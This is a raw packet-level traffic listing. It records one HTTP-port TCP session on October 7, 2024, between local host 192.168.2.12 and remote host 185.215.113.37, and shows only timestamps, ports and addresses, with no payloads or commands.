Oct 7, 2024 18:03:25.058235884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058269978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058279991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058289051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058300018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058325052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058455944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058465958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058501005 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058522940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058537006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058549881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058578968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058588982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058643103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058654070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058665037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058674097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058685064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058690071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058713913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058733940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.058882952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.058932066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.059981108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.059997082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060009003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060020924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060023069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060034990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060046911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060048103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060061932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060075045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060089111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060115099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060560942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060575008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060586929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060599089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060611010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060611963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060623884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060631037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060637951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060641050 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060650110 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060662031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060664892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060689926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060708046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060714960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060722113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060734987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060744047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060745955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060760975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.060762882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060774088 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.060795069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.061065912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.061079979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.061093092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.061111927 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.061130047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.062645912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.062700987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.062747002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.062828064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.062840939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.062853098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.062864065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.062875986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.062881947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.062890053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.062901020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.062913895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.062944889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.063201904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.063214064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.063225985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.063235998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.063250065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.063250065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.063262939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.063275099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.063277960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.063288927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.063313961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.063330889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.139345884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.139413118 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.139416933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.139430046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.139453888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.139473915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.139559031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.139570951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.139583111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.139596939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.139607906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.139610052 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.139625072 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.139667034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.140991926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.141113997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.141190052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.141237974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.191235065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191253901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191265106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191296101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191307068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191307068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.191318035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191329002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191353083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.191370964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.191585064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191596985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191606998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191617012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191627026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191632032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.191637993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191658974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.191677094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.191896915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.191943884 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.191992044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192060947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192071915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192082882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192107916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.192142010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.192306042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192317009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192332029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192342043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192342997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.192353010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192358017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192359924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.192368984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192379951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192387104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.192394018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192399979 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.192445040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.192811966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192821980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192831993 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192842960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192852974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192856073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.192863941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.192882061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.192918062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.193141937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.193152905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.193162918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.193172932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.193182945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.193185091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.193201065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.193226099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.378801107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.378822088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.378859043 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.378890038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.388546944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388597012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388611078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388643026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.388684988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.388710022 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388722897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388735056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388745070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.388750076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388772964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.388798952 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.388947964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388961077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388972998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388984919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388998032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.388998032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.389030933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.389355898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389368057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389379025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389389992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389393091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.389403105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389414072 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.389415979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389429092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389440060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389444113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.389453888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389458895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.389467955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389475107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.389481068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.389503002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.389525890 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.389993906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390005112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390017033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390028954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390032053 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.390042067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390060902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.390090942 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.390451908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390463114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390474081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390484095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390494108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390499115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.390505075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390516043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390526056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390528917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.390537024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390544891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.390549898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390558958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390558958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.390589952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390597105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.390600920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.390624046 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.390640020 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.391366005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391379118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391402960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391413927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391421080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.391426086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391438961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391449928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391450882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.391463995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391465902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.391477108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391489983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391500950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391503096 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.391513109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391524076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391529083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.391539097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.391546011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.391558886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.391587973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.392291069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392304897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392316103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392327070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392338991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392345905 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.392349958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392362118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392373085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392374039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.392384052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392390013 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.392396927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392409086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392415047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.392421007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392432928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.392441034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.392456055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.393218994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393232107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393243074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393254042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393264055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393270969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.393275023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393287897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393299103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393307924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.393315077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393320084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.393327951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393337011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.393343925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393354893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393358946 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.393368006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393378973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393388987 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.393392086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.393414974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.393431902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.394124985 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394138098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394150019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394161940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394166946 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.394175053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394184113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.394186974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394200087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394210100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.394211054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394222975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394227028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.394236088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394243002 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.394248009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394259930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394270897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.394274950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.394306898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.394320965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395083904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395098925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395111084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395122051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395128012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395134926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395145893 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395147085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395159960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395172119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395180941 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:25.395184040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:25.395195961 CEST	80	49711	185.215.113.37	192.168.2.12
